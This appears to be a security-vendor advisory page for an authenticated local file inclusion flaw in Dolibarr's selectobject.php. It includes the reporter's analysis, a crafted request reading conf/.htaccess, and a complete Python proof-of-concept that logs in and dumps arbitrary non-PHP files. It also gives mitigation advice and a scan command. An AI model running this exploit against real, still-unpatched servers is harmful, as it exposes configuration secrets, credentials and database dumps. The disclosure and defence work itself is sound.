GHSA-2mfj-r695-5h9r is a medium-severity (CVSS 6.5) CWE-98 vulnerability in dolibarr/dolibarr. No vendor fix is recorded yet; mitigation options are listed below.
Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2mfj-r695-5h9r.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2mfj-r695-5h9r plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
dolibarr/dolibarrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure
Target
Dolibarr Core (Tested on version 22.0.4)
Summary
A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).
Vulnerability Details
The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.
- Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the
objectdescparameter into a$classpath. IffetchObjectByElementfails (e.g., by providing a fake class likeA:conf/.htaccess:0), the application falls back todol_include_once($classpath)at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions. - Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling
restrictedArea(). Because the object creation failed, the$featuresparameter sent torestrictedArea()is empty (''). Insidesecurity.lib.php, if the$featuresparameter is empty, the access check block is completely skipped, leaving the$readokvariable at1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.
This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.
Steps to Reproduce
- Log in to the Dolibarr instance with any user account (no specific permissions required).
- Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
- Observe the HTTP response. The contents of the
conf/.htaccessfile will be reflected in the response body right before the PHP Fatal Error message. - (Optional) Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess
Impact
An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.
Suggested Mitigation
- Input Validation & Whitelisting: The
$classpathmust be strictly validated or whitelisted before being passed todol_include_once(). - Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
- Enforce Fail-Secure ACLs: Modify
restrictedArea()incore/lib/security.lib.phpso that if the$featuresparameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.
Disclosure Policy & Assistance
The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.
Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.
Thank you for the time and commitment to securing Dolibarr.
Best Regards, Vincent KHAYAT (cnf409)
Video PoC
https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844
PoC Script
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""
import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")
def request(
opener, base_url, method, path, params=None, data=None, timeout=15
):
url = f"{base_url.rstrip('/')}{path}"
if params:
url = f"{url}?{urllib.parse.urlencode(params)}"
payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
req = urllib.request.Request(url, method=method.upper(), data=payload)
req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
req.add_header("Accept", "text/html,application/xhtml+xml")
try:
with opener.open(req, timeout=timeout) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as err:
return err.code, err.read().decode("utf-8", errors="replace")
def extract_login_token(page):
for pattern in (
r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
):
match = re.search(pattern, page, flags=re.IGNORECASE)
if match:
return match.group(1)
return ""
def looks_authenticated(body):
return any(marker in body for marker in LOGOUT_MARKERS)
def clean_included_output(body):
for marker in (
"<br />\n<b>Warning",
"<br />\r\n<b>Warning",
"<br />\n<b>Fatal error",
"<br />\r\n<b>Fatal error",
):
pos = body.find(marker)
if pos != -1:
return body[:pos].rstrip()
return body.rstrip()
def login(opener, base_url, username, password):
code, login_page = request(opener, base_url, "GET", "/")
if code >= 400:
return False, f"HTTP {code} on login page"
token = extract_login_token(login_page)
code, after_login = request(
opener,
base_url,
"POST",
"/index.php?mainmenu=home",
data={
"token": token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": username,
"password": password,
},
)
if code >= 400:
return False, f"HTTP {code} on login request"
if looks_authenticated(after_login):
return True, ""
code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
if code < 400 and looks_authenticated(home):
return True, ""
return False, "Invalid username or password"
def read_file(opener, base_url, relative_path):
status, body = request(
opener,
base_url,
"GET",
"/core/ajax/selectobject.php",
params={
"outjson": "0",
"htmlname": "x",
"objectdesc": f"A:{relative_path}:0",
},
)
if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
raise RuntimeError("Session expired or not authenticated")
return status, body, clean_included_output(body)
def parse_args():
parser = argparse.ArgumentParser(
description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
)
parser.add_argument(
"--url",
default="http://127.0.0.1:8080",
help="Dolibarr base URL (default: http://127.0.0.1:8080)",
)
parser.add_argument("--username", required=True, help="Dolibarr username")
parser.add_argument("--password", required=True, help="Dolibarr password")
parser.add_argument(
"--file",
dest="target_file",
required=True,
help="Target file to read (e.g. conf/.htaccess).",
)
return parser.parse_args()
def print_result(path, status, raw, clean):
print(f"\n[+] HTTP status: {status}")
print(f"[+] Requested file: {path}")
print("=" * 80)
if clean:
print(html.unescape(clean))
else:
print("(No readable output extracted)")
print("=" * 80)
if clean != raw.rstrip():
print("[i] PHP warnings/fatal output were trimmed from display.")
def summarize_error_body(body, limit=1200):
text = html.unescape(body).strip()
if not text:
return "(Empty response body)"
if len(text) > limit:
return text[:limit].rstrip() + "\n... [truncated]"
return text
def main():
args = parse_args()
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar())
)
ok, reason = login(opener, args.url, args.username, args.password)
if not ok:
print(f"[!] {reason}")
return 1
print("[+] Login successful.")
try:
status, raw, clean = read_file(opener, args.url, args.target_file)
if status >= 400:
print(f"[!] HTTP {status} while reading target file.")
print("=" * 80)
print(summarize_error_body(raw))
print("=" * 80)
return 1
print_result(args.target_file, status, raw, clean)
return 0
except Exception as exc:
print(f"[!] Error: {exc}")
return 1
if __name__ == "__main__":
try:
raise SystemExit(main())
except KeyboardInterrupt:
print("\nInterrupted.")
raise SystemExit(130)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | dolibarr/dolibarr | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dolibarr/dolibarr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of dolibarr/dolibarr has shipped for GHSA-2mfj-r695-5h9r yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2mfj-r695-5h9r can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2mfj-r695-5h9r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-2mfj-r695-5h9r
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-2mfj-r695-5h9r -u https://target- Template
- Dolibarr <=22.0.4 - Local File Inclusion
- Severity
- medium
- Impact
- Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
- Remediation
- Update to the latest version once patches are available.
Template by ProjectDiscovery nuclei-templates (y0no), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-2mfj-r695-5h9r in your dependencies?
O3 Security finds GHSA-2mfj-r695-5h9r across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.